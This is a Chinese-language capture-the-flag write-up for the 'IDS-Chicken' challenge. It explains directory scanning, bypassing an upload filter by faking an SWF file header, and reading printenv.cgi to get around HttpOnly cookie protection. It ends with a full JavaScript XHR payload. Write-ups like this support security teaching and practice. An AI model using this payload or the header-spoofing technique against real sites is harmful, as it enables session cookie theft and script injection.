IDS-Chicken Writeup

IDS-Chicken Writeup(CCTF)

感觉这题也没多少菊苣想撸所以就写一个writeup mark一下

题目想法来自与detectify实验室的一篇Bypass CSP的paper和某公司IDS系统报警存在xss而拼凑成的题目

paper点我

题目一开始的注入其实只是一个烟雾 主要作用是通过触发Mysql Error从而记录到IDS报警消息中

根据Hint 我们要扫一波目录 可以成功跑到

http://ids.c-chicken.cc/upload/
http://ids.c-chicken.cc/upload.php
http://ids.c-chicken.cc/conn.php
http://ids.c-chicken.cc/index.php
http://ids.c-chicken.cc/cgi-bin/
http://ids.c-chicken.cc/cgi-bin/printenv.cgi

根据Hint 发现上传还可以上传swf文件

而我们知道PHP并没有成熟的swf文件检测机制和转换机制 而图片有成熟的check机制

所以判断上传swf的时候只是简单的检测了一下文件头 在添加对应的文件头就可以成功bypass上传 添加入恶意的代码

但是由于文件头的存在后面会遇到比较尴尬的错误 会提示

FWS is not defined

我们可以通过自定义id来bypass这个错误

根据提示可以看到管理是存在httponly 所以可以通过获取printenv.cgi的内容来GetHttponly :)

比较多的烟雾蛋:( sadness

最后给个payload

FWS	;

function initRequest()
{
    var request = false;
    if(window.XMLHttpRequest) {         //FireFox
    request = new XMLHttpRequest();
    if (request.overrideMimeType) {
      request.overrideMimeType('text/xml');
    }
  }
  else if (window.ActiveXObject) {    //IE
    try {
      request = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        request = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e) {}
    }
  }
  if (!request) {
    window.alert("Create request error!");
    return false;
  }
  return request;
}

var http_request;
function send(sendUrl,sendData)
{
  http_request = initRequest();
  http_request.onreadystatechange = ajax_call_back;
    
  http_request.open("GET", sendUrl,true);
  http_request.send(sendData);
  
}

function ajax_call_back()
{
  if (http_request.readyState == 4) {
    if (http_request.status == 200) {
      var str = http_request.responseText;
      alert(str);
    }
    }
  }

send('http://ids.c-chicken.cc/cgi-bin/printenv.cgi','test')

click me

comments powered by Disqus